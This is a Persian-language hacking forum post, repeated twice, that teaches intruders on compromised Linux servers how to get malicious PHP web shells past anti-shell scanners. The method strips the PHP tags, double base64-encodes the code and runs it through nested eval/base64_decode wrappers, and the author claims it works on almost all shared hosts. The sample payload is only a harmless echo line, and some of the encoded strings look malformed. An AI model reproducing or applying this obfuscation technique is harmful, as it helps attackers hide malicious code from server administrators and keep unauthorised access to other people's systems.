سلامی دوباره خدمت تمامی دوستان.
در این تاپیک به بررسی روش های بایپس آنتی شلرها در سرورهای لینوکس میپردازیم.
آنتی شلرها خیلی وقت ها مشکلات زیادی رو برای نفوذگرها ایجاد می کنند به طور مثال نفوذگر چندین ساعت سعی کرده تا از سرور دسترسی بگیره و حالا که میخواد شلر مورد نظرش رو اجرا کنه با خطای Not Found مواجه میشه که ناشی از پاک شدن شل توسط آنتی شلر سرور هست و در صورتی که مدیر سرور خیلی روی امنیت حساسیت به خرج داده باشه آنتی شلر رو طوری تنظیم میکنه تا به محض شناسایی شلر در اون اکانت، اکانت ساسپند میشه !
چنانچه دوستان ایده ای دارند میتوانند همینجا مطرح کنند تا بررسی و در موردش گفتگو شود.
خب شروع می کنیم.
بنده یک روش رو مطرح میکنم که بارها خودم تست کردم و ازش نتیجه گرفتم که برای اجرای فایل PHP که دارای کدهای مخرب هست یا همون Sheller به کار میره.
روش کار به شکل زیر هست :
1- فرض کنید ما یک فایل PHP با محتوای زیر داریم و میخوایم اجرا کنیم و میدونیم که آنتی شلر سرور جلوی اجرا شدنش رو میگیره :
[php]
<?php
echo 'iranhack.com';
?>
[/php]
البته این کد فقط یک مثال هست وگرنه همه ما میدونیم که هیچ آنتی شلری جلوی اجرای این کد رو نمیگیره :4:
2- خب حالا کد بالا رو به شکل زیر Encode میکنیم :
کاراکترهای php?> در ابتدای کد و <? در انتهای کد رو حذف میکنیم و سپس کدهای باقی مانده رو 2 بار به روش Base64 اینکد میکنیم. ( حتماً باید دو بار اینکد بشه در غیر اینصورت جوابگو نیست )
طبق توضیحات بالا کد مورد نظر ما برای اجرا پس از 2 بار اینکد شدن به این شکل میشه :
که اگر دو بار دیکدش کنید میشه این کد :
خب حالا ما Encoding رو انجام دادیم.
3- کد اینکد شده رو در متغیر code$ و بین ' ' در کد زیر قرار دهید :
[php]
<?php
$code = 'WldOb2J5QW5hWEpoYm1oaFkyc3ViM0puSnp0PX==';
$irh=base64_decode('JGlyaD1iYXNlNjRfZGVjb2RlKCdZbU Z6WlRZMFgyUmxZMjlrWlE9PScpOy=');
eval($irh);
eval($irh($irh("$code")));
?>
[/php]
خب حالا با خیال راحت فایل PHP مورد نظرتون رو به این شکل اینکد کرده و اجرا کنید.
تنها مشکل این روش این هست که در صورتی که تابع base64_decode در تنظیمات php سرور غیرفعال شده باشه این روش جوابگو نیست اما این مسئله خیلی کم پیش میاد که مدیر سرور مخصوصا در سرورهای اشتراکی، این فانکشن رو ببنده چون یک سری ابزارهای سرور با بسته شدن این فانکشن از کار می افتند. مثلا سرویس مدیریت ایمیل Round Cube در صورت بسته بودن این تابعدر قسمت Login دچار مشکل میشه.
پس این روش در سرورهای اشتراکی 99% جوابگو هست و در سرورهای اختصاصی هم در صورت بسته نبودن تابع در تنظیمات PHP جوابگو هستش. اما در سرورهای اختصاصی چون معمولاً یک یا دو سایت بیشتر روی سرور میزبانی نمیشوند مدیر سرور به اختیار خودش میتونه این تابع رو باز بزاره یا ببنده.
موفق باشید
در این تاپیک به بررسی روش های بایپس آنتی شلرها در سرورهای لینوکس میپردازیم.
آنتی شلرها خیلی وقت ها مشکلات زیادی رو برای نفوذگرها ایجاد می کنند به طور مثال نفوذگر چندین ساعت سعی کرده تا از سرور دسترسی بگیره و حالا که میخواد شلر مورد نظرش رو اجرا کنه با خطای Not Found مواجه میشه که ناشی از پاک شدن شل توسط آنتی شلر سرور هست و در صورتی که مدیر سرور خیلی روی امنیت حساسیت به خرج داده باشه آنتی شلر رو طوری تنظیم میکنه تا به محض شناسایی شلر در اون اکانت، اکانت ساسپند میشه !
چنانچه دوستان ایده ای دارند میتوانند همینجا مطرح کنند تا بررسی و در موردش گفتگو شود.
خب شروع می کنیم.
بنده یک روش رو مطرح میکنم که بارها خودم تست کردم و ازش نتیجه گرفتم که برای اجرای فایل PHP که دارای کدهای مخرب هست یا همون Sheller به کار میره.
روش کار به شکل زیر هست :
1- فرض کنید ما یک فایل PHP با محتوای زیر داریم و میخوایم اجرا کنیم و میدونیم که آنتی شلر سرور جلوی اجرا شدنش رو میگیره :
[php]
<?php
echo 'iranhack.com';
?>
[/php]
البته این کد فقط یک مثال هست وگرنه همه ما میدونیم که هیچ آنتی شلری جلوی اجرای این کد رو نمیگیره :4:
2- خب حالا کد بالا رو به شکل زیر Encode میکنیم :
کاراکترهای php?> در ابتدای کد و <? در انتهای کد رو حذف میکنیم و سپس کدهای باقی مانده رو 2 بار به روش Base64 اینکد میکنیم. ( حتماً باید دو بار اینکد بشه در غیر اینصورت جوابگو نیست )
طبق توضیحات بالا کد مورد نظر ما برای اجرا پس از 2 بار اینکد شدن به این شکل میشه :
کد:
WldOb2J5QW5hWEpoYm1oaFkyc3ViM0puSnp0PX==
کد:
echo 'iranhack.com';
3- کد اینکد شده رو در متغیر code$ و بین ' ' در کد زیر قرار دهید :
[php]
<?php
$code = 'WldOb2J5QW5hWEpoYm1oaFkyc3ViM0puSnp0PX==';
$irh=base64_decode('JGlyaD1iYXNlNjRfZGVjb2RlKCdZbU Z6WlRZMFgyUmxZMjlrWlE9PScpOy=');
eval($irh);
eval($irh($irh("$code")));
?>
[/php]
خب حالا با خیال راحت فایل PHP مورد نظرتون رو به این شکل اینکد کرده و اجرا کنید.
تنها مشکل این روش این هست که در صورتی که تابع base64_decode در تنظیمات php سرور غیرفعال شده باشه این روش جوابگو نیست اما این مسئله خیلی کم پیش میاد که مدیر سرور مخصوصا در سرورهای اشتراکی، این فانکشن رو ببنده چون یک سری ابزارهای سرور با بسته شدن این فانکشن از کار می افتند. مثلا سرویس مدیریت ایمیل Round Cube در صورت بسته بودن این تابعدر قسمت Login دچار مشکل میشه.
پس این روش در سرورهای اشتراکی 99% جوابگو هست و در سرورهای اختصاصی هم در صورت بسته نبودن تابع در تنظیمات PHP جوابگو هستش. اما در سرورهای اختصاصی چون معمولاً یک یا دو سایت بیشتر روی سرور میزبانی نمیشوند مدیر سرور به اختیار خودش میتونه این تابع رو باز بزاره یا ببنده.
موفق باشید
نظر